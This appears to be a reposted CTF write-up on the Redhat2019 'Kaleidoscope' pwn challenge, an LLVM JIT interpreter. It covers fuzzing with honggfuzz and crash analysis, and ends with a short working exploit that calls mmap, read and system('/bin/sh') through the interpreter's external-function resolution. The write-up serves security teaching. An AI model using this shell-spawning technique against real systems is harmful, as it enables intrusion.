Nytro Posted November 30, 2019 Report Posted November 30, 2019 [Redhat2019] Kaleidoscope 發表於 2019-11-11 | 分類於 Hack 这是连续第三届参加广东省的红帽杯比赛了,就题目质量来说明显是一届比一届高,看到这题万花筒惊喜之余也感叹国内的CTF比赛门槛真是越来越高了。作为一道基于解释器改编的题目,通过传统的逆向方法来做还是比较困难,因此分享一下用fuzzing来找到题目漏洞以及后续的分析利用。 This challenge is from a CTF game of Guangdong province, China. It is a Pwn challenge based on llvm JIT engine. You can download this challenge at this link. Recon At first you may not able to run this binary directly, because of the missing libary libLLVM-6.0.so.1, use sudo apt-get install libllvm6.0 to solve the dependency. It will give us a interpreter interface like: ready> a = 1 ready> 1+1 Error: Unknown variable name ready> a+1 Evaluated to 2 ready> Drop the binary into ida and we can see that it was written by C++, and the designer turned on some optimization settings when compiling, so the decompile result was really hard to follow. The symbols tell us, this is a Kaleidoscope JIT interpreter, which is used by llvm project as tutorial to demonstrate how to implement a JIT interpreter. We can find the tutorial here: Building a JIT: Starting out with KaleidoscopeJIT, and the source code at llvm-kaleidoscope. The main function is clear in source code: int main() { BinopPrecedence['<'] = 10; BinopPrecedence['+'] = 20; BinopPrecedence['-'] = 20; BinopPrecedence['*'] = 40; fprintf(stderr, "ready> "); getNextToken(); TheModule = llvm::make_unique<Module>("My awesome JIT", TheContext); MainLoop(); TheModule->print(errs(), nullptr); return 0; } but in ida it looks really terrible: LLVMInitializeX86TargetInfo(*(_QWORD *)&argc, argv, envp); LLVMInitializeX86Target(); LLVMInitializeX86TargetMC(); LLVMInitializeX86AsmPrinter(); LLVMInitializeX86AsmParser(); __k[0] = '='; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 2; __k[0] = '<'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 10; __k[0] = '+'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20; __k[0] = '-'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20; __k[0] = '*'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 40; v3 = &stderr; fwrite("ready> ", 7uLL, 1uLL, stderr); ... Comparing these two pieces of code, we can see the challenge define = as BinopPrecedence while the original version didn’t. I try to follow the code but soon decide to change another method. Fuzzing So I turned to fuzzing and hope to find some bugs. I tried AFL with qemu mode to run this binary first, but it stuck on the initialization. If you know how to run such a binary with AFL, please do let me know. matthew@matthew-MS-7A37 /m/d/L/Fuzz> afl-fuzz -i in/ -o out1/ -Q -- ./wang afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 8 CPU cores and 6 runnable tasks (utilization: 75%). [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [*] Setting up output directories... [+] Output directory exists but deemed OK to reuse. [*] Deleting old session data... [+] Output dir cleanup successful. [*] Scanning 'in/'... [+] No auto-generated dictionary tokens to reuse. [*] Creating hard links for all input files... [*] Validating target binary... [*] Attempting dry run with 'id:000000,orig:1.txt'... [*] Spinning up the fork server... [+] All right - fork server is up. ...(It just stop here) Then I try honggfuzz, which is another popular fuzzer support binary instrument. At first I cloned the source code from github but failed on compilation. Then I found a docker image at Doker hub, but it does not support qemu mode. I had to attach to the container and complied the qemu mode, some dependencies installation are unavoidable. It took me more than 2 hours to setup this tool (the network connection is always big problem when you setting up similar tools in China). The command of running this docker image is: docker run --rm -it -v (pwd):/work --privileged zjuchenyuan/honggfuzz:latest /bin/bash and you can find the usage of honggfuzz here: USAGE, for the qemu mode we need, it can be run by: honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/kaleidoscope The seed corpus was put in /work/in, I simply chose the code snippet from https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language: # Compute the x'th fibonacci number. def fib(x) if x < 3 then 1 else fib(x-1)+fib(x-2) # This expression will compute the 40th number. fib(40) I run this in a vmware workstation vm, so the speed is a kind of slow, but it still give us some crashes in less than ten minutes. I believe this will be much faster on a bare metal linux machine. Iterations : 5810 [5.81k] Mode [3/3] : Feedback Driven Mode Target : ./qemu_mode/honggfuzz-qemu/x86_6.....u-x86_64 /work/kaleidoscope Threads : 4, CPUs: 8, CPU%: 424% [53%/CPU] Speed : 0/sec [avg: 1] Crashes : 200 [unique: 0, blacklist: 0, verified: 0] Timeouts : 0 [10 sec] Corpus Size : 97, max: 8192 bytes, init: 2 files Cov Update : 0 days 00 hrs 01 mins 18 secs ago Coverage : edge: 3922/45011 [8%] pc: 1541 cmp: 135658 Crashes The fuzzer gave us a crash in less than ten minutes, I review the crashes, it seems like some heap corruption issue, but the stacktrace was hard to look at. ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x0 RBX 0x7ffff399b840 (stderr) —▸ 0x7ffff399b680 (_IO_2_1_stderr_) ◂— 0xfbad2887 RCX 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108] RDX 0x0 RDI 0x2 RSI 0x7fffffffd660 ◂— 0x0 R8 0x0 R9 0x7fffffffd660 ◂— 0x0 R10 0x8 R11 0x246 R12 0x5555556030b0 —▸ 0x5555555d4fd0 —▸ 0x5555555d5040 ◂— 0x0 R13 0x7ffff3ff9550 (std::bad_alloc::~bad_alloc()) ◂— mov rax, qword ptr [rip + 0x3390f1] R14 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 —▸ 0x5555555f76c0 ◂— ... R15 0x55555569ec30 —▸ 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 ◂— ... RBP 0x7ffff40dbfe2 ◂— jae 0x7ffff40dc058 /* u'std::bad_alloc' */ RSP 0x7fffffffd660 ◂— 0x0 RIP 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108] ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7ffff35ede97 <raise+199> mov rcx, qword ptr [rsp + 0x108] <0x7ffff35ede97> 0x7ffff35ede9f <raise+207> xor rcx, qword ptr fs:[0x28] 0x7ffff35edea8 <raise+216> mov eax, r8d 0x7ffff35edeab <raise+219> jne raise+252 <0x7ffff35edecc> ↓ 0x7ffff35edecc <raise+252> call __stack_chk_fail <0x7ffff36e3c80> 0x7ffff35eded1 nop word ptr cs:[rax + rax] 0x7ffff35ededb nop dword ptr [rax + rax] 0x7ffff35edee0 <killpg> test edi, edi 0x7ffff35edee2 <killpg+2> js killpg+16 <0x7ffff35edef0> 0x7ffff35edee4 <killpg+4> neg edi 0x7ffff35edee6 <killpg+6> jmp 0x7ffff35ee180 <0x7ffff35ee180> ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsi r9 rsp 0x7fffffffd660 ◂— 0x0 01:0008│ 0x7fffffffd668 —▸ 0x7ffff399b420 (main_arena+2016) —▸ 0x55555567aa60 ◂— 0x0 02:0010│ 0x7fffffffd670 ◂— 0x0 ... ↓ ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7ffff35ede97 raise+199 f 1 7ffff35ef801 abort+321 f 2 7ffff3fef242 f 3 7ffff3ffae86 f 4 7ffff3ffaed1 f 5 7ffff3ffb105 f 6 7ffff3feeee1 f 7 55555555eb68 f 8 55555555eb68 f 9 55555555eb68 f 10 55555555eb68 pwndbg> bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 #1 0x00007ffff35ef801 in __GI_abort () at abort.c:79 #2 0x00007ffff3fef242 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x00007ffff3ffae86 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #4 0x00007ffff3ffaed1 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #5 0x00007ffff3ffb105 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #6 0x00007ffff3feeee1 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #7 0x000055555555eb68 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.tcc:219 #8 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct_aux<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:236 #9 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:255 #10 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string (this=<optimized out>, __str=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:440 #11 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, 0ul>(std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&, std::tuple<>&, std::_Index_tuple<0ul>, std::_Index_tuple<>) (this=0x55555569ec30, __tuple1=..., __tuple2=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1651 #12 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>(std::piecewise_construct_t, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<>) (this=0x55555569ec30, __first=..., __second=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1639 #13 __gnu_cxx::new_allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., this=<optimized out>, __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/ext/new_allocator.h:136 #14 std::allocator_traits<std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >&, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., __a=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/alloc_traits.h:475 #15 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_construct_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __node=0x55555569ec10, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:626 #16 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_create_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:643 #17 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_const_iterator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __pos={ first = <incomplete type>, second = 0x0 }, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:2398 #18 0x000055555555e97d in std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, llvm::AllocaInst*, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::operator[] (this=<optimized out>, __k=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_map.h:493 #19 0x00005555555612dc in (anonymous namespace)::BinaryExprAST::codegen (this=0x555555689010) at toy.cpp:781 #20 0x000055555555c6d9 in (anonymous namespace)::FunctionAST::codegen (this=0x555555638840) at toy.cpp:1085 #21 0x000055555555a767 in HandleTopLevelExpression () at toy.cpp:1164 #22 MainLoop () at toy.cpp:1209 #23 main () at toy.cpp:1263 #24 0x00007ffff35d0b97 in __libc_start_main (main=0x55555555a240 <main()>, argc=1, argv=0x7fffffffdee8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffded8) at ../csu/libc-start.c:310 #25 0x0000555555559c4a in _start () I then went to dinner and some really interesting crashes was found before I came back. The fuzzer reports these inputs lead to crashes, but the binary did not crash at all in dry run. matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 def fib(x) if x < 3 then 1 else 526142246948557=666 fib(40) $IF8׆FA]V_13X9`Z^9_O2ر/#nϰ'ӟ]* O-w ff4QjW={%IT(<V['!]h_2 ޒ*`-KyrCzʉB8Cl=}_F85&ЅNQ-O}/8 *ŋyG:~V$5917384075431139189gG ^ggXX%KTY១R| )"319Oqy` {&!M?Z-Bz X >@YAyd(9kG9Dž0)dL&TBeDjח@3g3N,Okrvz8b[QRs U,( >m@.*ou3\w;߳^U C}5Ttrz7217830875066176221-+\I f⏎ matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 | ./kaleidoscope ready> ready> Error: Unknown variable name ready> LLVM ERROR: Program used external function 'fib' which could not be resolved! The output was interesting though, it said the external function “fib” could not be resolved. If you compare the binary code with the original source code, you can see that there was an extern keyword in the source. However the handler was disabled in this challenge, it will say “No extern function” if you try to use extern keyword. { if ( CurTok != 0xFFFFFFFD ) goto LABEL_30; fwrite("No extern function!!!\n", 0x16uLL, 1uLL, *v3); CurTok = gettok(); CurTok = gettok(); LABEL_18: CurTok = gettok(); } Then I search the string Program used external function 'fib' which could not be resolved! in this binary but find nothing. However, this message was stared by a tag LLVM ERROR, did that mean the string located at the llvm library? matthew@matthew-MS-7A37 ~/L/fuzz> strings /usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1 | grep "Program used external" Program used external function ' YES! Analysis Consider the logic behind this test case, the binary have finished the parsing job and pass the function name to libLLVM, libLLVM get the function name and try to resolve it from libc. If we search this info in the source of llvm, we can see it was invoked by RTDyldMemoryManager::getPointerToNamedFunction, see https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290. Then I thought maybe we can call the libc functions directly in same manner. I changed the fib to puts, loaded the binary into gdb and read the input. I also set a breakpoint at puts, it did stop at the call. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────[ REGISTERS ]─────────────────────────────────────── RAX 0x7ffff36899c0 (puts) ◂— push r13 RBX 0x7ffff7ff6000 ◂— push rax RCX 0x3 RDX 0x55555556a010 ◂— 0x605070607050307 RDI 0x28 RSI 0x55555556a018 ◂— 0x607050702070606 R8 0x8 R9 0x1 R10 0x555555638568 —▸ 0x5555555d4f00 —▸ 0x5555555b99f0 ◂— 0x555500000000 R11 0x88 R12 0x7ffff39f5840 (stderr) —▸ 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887 R13 0x555555564eb8 ◂— jb 0x555555564f1f /* 'ready> ' */ R14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax R15 0x7fffffffddc0 ◂— 0x0 RBP 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887 RSP 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx RIP 0x7ffff36899c0 (puts) ◂— push r13 ────────────────────────────────────────[ DISASM ]───────────────────────────────────────── ► 0x7ffff36899c0 <puts> push r13 0x7ffff36899c2 <puts+2> push r12 0x7ffff36899c4 <puts+4> mov r12, rdi 0x7ffff36899c7 <puts+7> push rbp 0x7ffff36899c8 <puts+8> push rbx 0x7ffff36899c9 <puts+9> sub rsp, 8 0x7ffff36899cd <puts+13> call *ABS*+0x9dc70@plt <0x7ffff362a100> 0x7ffff36899d2 <puts+18> mov rbp, qword ptr [rip + 0x36be6f] <0x7ffff39f5848> 0x7ffff36899d9 <puts+25> mov rbx, rax 0x7ffff36899dc <puts+28> mov eax, dword ptr [rbp] 0x7ffff36899df <puts+31> mov rdi, rbp ─────────────────────────────────────────[ STACK ]───────────────────────────────────────── 00:0000│ rsp 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx 01:0008│ 0x7fffffffdd10 ◂— 0x0 02:0010│ 0x7fffffffdd18 —▸ 0x55555555b0d4 (main+3732) ◂— mov ecx, eax 03:0018│ 0x7fffffffdd20 —▸ 0x7fffffffdd30 ◂— '__anon_expr' 04:0020│ 0x7fffffffdd28 ◂— 0xb /* '\x0b' */ 05:0028│ 0x7fffffffdd30 ◂— '__anon_expr' 06:0030│ 0x7fffffffdd38 ◂— 0x727078 /* 'xpr' */ 07:0038│ r14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax ───────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────── ► f 0 7ffff36899c0 puts f 1 7ffff7ff6012 f 2 0 ─────────────────────────────────────────────────────────────────────────────────────────── Breakpoint puts pwndbg> We can see that the first argument $rdi is 0x28=40, that means we can control the argument too. Exploit With the handy arbitrary libc function calling ability, it should be quite straightforward to get a shell. The binary was protected by PIE, so we don’t know any address information initially. My solution is using mmap to get an new region like 0x100000 and use read to load the /bin/sh string into memory. Finally we can call system(0x100000) to get shell. payload = """ def mmap(x y z o p) if x < 3 then 1 else a=666 else 0=666 else b=666 else 0=666 else c=666 mmap(1048576, 4096, 7, 34, 0); """ sla(">", payload) time.sleep(0.5) payload = """ def read(x y z) if m < 3 then 1 else 0=666 def system(x) if m < 3 then 1 else 0=666 read(0, 1048576, 10); system(1048576); """ sla(">", payload) sla(">", "/bin/sh\x00") p.interactive() I spent some time to tune the if-else statements according to the number of arguments to make it accept by the interpreter, but later find it is unnecessary, any function definition with if-else statement will be regard as external function. Wrapup This is the first time I used fuzzing technique to solve a challenge during a CTF. As you can see, this is a promising skill in competition, it can save plenty of time from reverse engineering. In terms of the interpreter pwn challenges, I had came across some like Javascript, Lua (see another writeup at of XNUCA2019), and this Kaleidoscope, many of them were related to the external function calling or, foreign function interface (FFI). So this might be the thing to look at when you meet a interpreter-based pwn challenge. References https://llvm.org/docs/tutorial/BuildingAJIT1.html https://github.com/ghaiklor/llvm-kaleidoscope https://hub.docker.com/r/zjuchenyuan/honggfuzz https://github.com/google/honggfuzz/blob/master/docs/USAGE.md https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language http://blog.leanote.com/post/xp0int/%5BPWN%5D-ls-cpt.shao%E3%80%81MF Sursa: http://matshao.com/2019/11/11/Redhat2019-Kaleidoscope/ Quote